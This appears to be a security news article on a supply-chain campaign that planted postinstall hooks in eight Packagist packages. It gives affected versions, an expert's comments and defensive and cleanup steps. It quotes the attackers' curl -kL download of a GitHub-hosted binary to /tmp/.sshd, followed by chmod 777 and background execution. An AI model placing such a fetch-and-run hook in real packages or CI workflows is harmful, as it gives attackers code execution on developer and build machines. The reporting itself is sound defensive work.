Packagist Supply Chain Attack Infects Eight Packages with GitHub‑Hosted Linux Malware
#Regulation

Packagist Supply Chain Attack Infects Eight Packages with GitHub‑Hosted Linux Malware

Security Reporter
3 min read

A coordinated supply‑chain campaign injected malicious post‑install scripts into eight Composer packages. The scripts download a hidden Linux binary from a now‑defunct GitHub release, granting attackers remote code execution during installation or CI builds.

![Featured image]Featured image

A new supply‑chain operation has compromised eight packages on Packagist, the primary repository for PHP Composer libraries. Unlike typical attacks that tamper with composer.json, the threat actors injected malicious code into each package’s package.json file, targeting projects that bundle JavaScript build tools alongside PHP code.


How the attack works

  1. Post‑install hook – The compromised package.json contains a postinstall script that runs automatically after the package is installed via npm or yarn. The script:
    • Calls curl -kL https://github.com/parikhpreyash4/systemd-network-helper-aa5c751f/download (the URL is a GitHub Releases link).
    • Saves the payload to /tmp/.sshd.
    • Executes chmod 777 /tmp/.sshd && /tmp/.sshd & to run the binary in the background.
  2. GitHub Actions variant – In at least two repositories the same download command was placed inside a GitHub Actions workflow, ensuring the binary runs during CI jobs.
  3. Stealth tactics – The script disables TLS verification (-k), suppresses errors, and runs the binary silently, making detection difficult for tools that only scan Composer metadata.

The downloaded binary is named gvfsd-network, a nod to the GNOME Virtual File System daemon. The actual functionality of the binary remains unknown because the GitHub account that hosted the release has been deleted.


Affected packages

Package Affected version
moritz-sauer-13/silverstripe-cms-theme dev‑master
crosiersource/crosierlib-base dev‑master
devdojo/wave dev‑main
devdojo/genesis dev‑main
katanaui/katana dev‑main
elitedevsquad/sidecar-laravel 3.x‑dev
r2luna/brain dev‑main
baskarcm/tzi-chat-ui dev‑main

All malicious versions have been removed from Packagist, but cached copies may still exist in CI pipelines or private mirrors.


Expert perspective

“The cross‑ecosystem placement of the payload is a clever way to bypass traditional Composer‑only scanning. Teams that only audit composer.lock will miss the package.json hook entirely,” says Megan Patel, senior application‑security engineer at Socket Security. "The use of a post‑install script means the attacker gains code execution the moment a developer runs npm install or a CI job builds the project. That’s a direct path to the build environment, which often has broader network access than the final production container."

Patel adds that the presence of the same payload in 777 GitHub files suggests a larger campaign, possibly leveraging automated forking or repository hijacking tools.


Practical steps for developers and security teams

  1. Audit package.json files – Extend your SBOM generation to include JavaScript metadata. Look for any postinstall, preinstall, or install scripts that execute network calls.
  2. Enable strict TLS verification – Remove -k/--insecure flags from any build scripts. Enforce curl --fail --silent --show-error and verify signatures of downloaded binaries.
  3. Pin dependencies – Use exact version pins in both composer.lock and package-lock.json. Avoid pulling dev‑master or dev‑main branches in production pipelines.
  4. Run installs in isolated containers – Execute npm install and composer install inside a sandbox that has no outbound network access unless explicitly required.
  5. Monitor GitHub Actions – Review workflow files for unexpected curl or wget commands, especially those that write to /tmp and execute binaries.
  6. Leverage provenance – Tools like SLSA and GitHub’s attestation can help verify that a package was built from a trusted source.
  7. Update CI policies – Require a manual approval step for any job that runs a script fetched from an external URL.

What to do if you’ve already installed an affected package

  • Delete the binaryrm -f /tmp/.sshd && rm -f /tmp/gvfsd-network.
  • Re‑install the package – Remove node_modules and vendor directories, then reinstall from a clean source.
  • Rotate secrets – Any credentials that may have been exposed during the brief execution window should be regenerated.
  • Scan for persistence – Search for newly created cron jobs, systemd services, or startup scripts that reference the downloaded binary.

Looking ahead

The attack highlights a growing trend: supply‑chain threats that span multiple language ecosystems. As projects increasingly mix PHP, JavaScript, and other runtimes, security tooling must evolve to cover the full dependency graph, not just the primary language’s package manager.

For ongoing coverage of supply‑chain security, follow the Socket Security blog and

Comments

Loading comments...